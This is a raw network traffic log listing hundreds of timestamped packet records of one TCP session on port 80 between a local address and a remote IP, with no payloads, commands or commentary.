Oct 8, 2024 05:27:17.255522966 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.255522966 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.255528927 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.255565882 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.255738020 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.257169962 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.257200003 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.257231951 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.257266045 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.257294893 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.257294893 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.257298946 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.257333994 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.257363081 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.257364035 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.257368088 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.257415056 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.257415056 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.257929087 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.257957935 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.258008957 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.258019924 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.258019924 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.258044958 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.258078098 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.258095026 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.258095026 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.258131981 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.258167028 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.258183002 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.258183002 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.258200884 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.258234024 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.258249044 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.258249044 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.258268118 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.258296967 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.258316040 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.258316040 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.258330107 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.258362055 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.258378029 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.258378029 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.258394003 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.258429050 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.258443117 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.258443117 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.258465052 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.258517027 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.258517027 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.259273052 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.259294987 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.259311914 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.259330034 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.259345055 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.259361029 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.259363890 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.259363890 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.259378910 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.259408951 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.259423971 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.259439945 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.259462118 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.259506941 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.259506941 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.260195971 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.260232925 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.260267019 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.260296106 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.260297060 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.260407925 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.260441065 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.260518074 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.260876894 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.260930061 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.260960102 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.261013031 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.261044025 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.261044025 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.261044979 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.261096954 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.261096954 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.261097908 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.261137962 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.261188030 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.261194944 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.261194944 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.261223078 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.261271000 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.261271000 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.261274099 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.261306047 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.261338949 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.261360884 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.261360884 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.261370897 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.261403084 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.261406898 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.261423111 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.261440039 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.261473894 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.261491060 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.261491060 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.261507034 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.261543036 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.261555910 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.261555910 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.261576891 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.261626959 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.261626959 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.262007952 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.262037039 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.262145042 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.263920069 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.263972044 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.264005899 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.264038086 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.264038086 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.264039993 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.264074087 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.264090061 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.264090061 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.264107943 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.264141083 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.264157057 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.264157057 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.264173985 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.264205933 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.264224052 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.264224052 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.264239073 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.264272928 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.264287949 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.264287949 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.264306068 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.264338970 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.264354944 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.264354944 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.264372110 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.264389038 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.265208960 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.340876102 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.340925932 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.340960979 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.340993881 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.341008902 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.341010094 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.341032028 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.341047049 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.341047049 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.341067076 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.341082096 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.341113091 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.341161966 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.341161966 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.341192007 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.341222048 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.341268063 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.341268063 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.341274977 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.341310024 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.341341972 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.341358900 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.341358900 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.341373920 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.341408014 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.341423035 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.341423035 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.341444016 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.341474056 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.341494083 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.341495037 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.341523886 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.341555119 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.341558933 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.341581106 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.341612101 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.341645002 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.341665030 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.341665030 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.341680050 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.341711044 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.341728926 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.341730118 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.341744900 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.341778994 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.341794014 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.341794014 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.342247963 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.342300892 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.342300892 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.342345953 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.342376947 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.342425108 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.342425108 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.342427015 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.342463970 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.342497110 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.342514038 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.342514038 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.342551947 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.342585087 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.342602015 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.342602015 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.342618942 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.342653990 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.342674017 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.342674017 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.342685938 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.342734098 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.342734098 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.342736959 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.342786074 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.342819929 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.342835903 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.342835903 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.342853069 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.342876911 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.342892885 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.342916965 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.342928886 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.342962980 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.342977047 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.342978001 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.342995882 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.343029022 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.343044996 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.343044996 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.343060970 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.343095064 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.343110085 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.343110085 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.343127966 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.343162060 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.343177080 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.343177080 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.343194962 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.343241930 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.343241930 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.343477964 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.343532085 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.343542099 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.343565941 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.343597889 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.343612909 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.343612909 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.343631029 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.343667030 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.343684912 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.343684912 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.343700886 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.343732119 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.343749046 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.343749046 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.343786001 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.343820095 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.343836069 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.343836069 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.343868971 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.343900919 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.343916893 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.343916893 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.343935013 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.343966007 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.343982935 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.343982935 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.343997955 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.344029903 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.344048977 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.344048977 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.344199896 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.345628023 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.345701933 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.345736980 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.345752954 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.345752954 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.345772028 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.345807076 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.345824003 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.345824003 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.345859051 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.345896006 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.345909119 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.345909119 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.345927000 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.345973969 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.345973969 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.381776094 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.381820917 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.381877899 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.381906033 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.381906033 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.381930113 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.381952047 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.381966114 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.381988049 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.382016897 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.382054090 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.382066965 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.382066965 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.382088900 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.382136106 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.382136106 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.382142067 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.382194042 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.382195950 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.382246971 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.382281065 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.382292032 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.382292032 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.382313967 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.382349014 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.382360935 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.382360935 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.382381916 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.382428885 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.382428885 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.382433891 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.382484913 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.382522106 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.382534027 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.382534027 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.382558107 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.382591009 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.382592916 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.382610083 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.382627010 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.382662058 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.382674932 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.382674932 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:17.382694006 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.382728100 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:17.382741928 CEST	49706	80	192.168.2.5	185.215.113.37
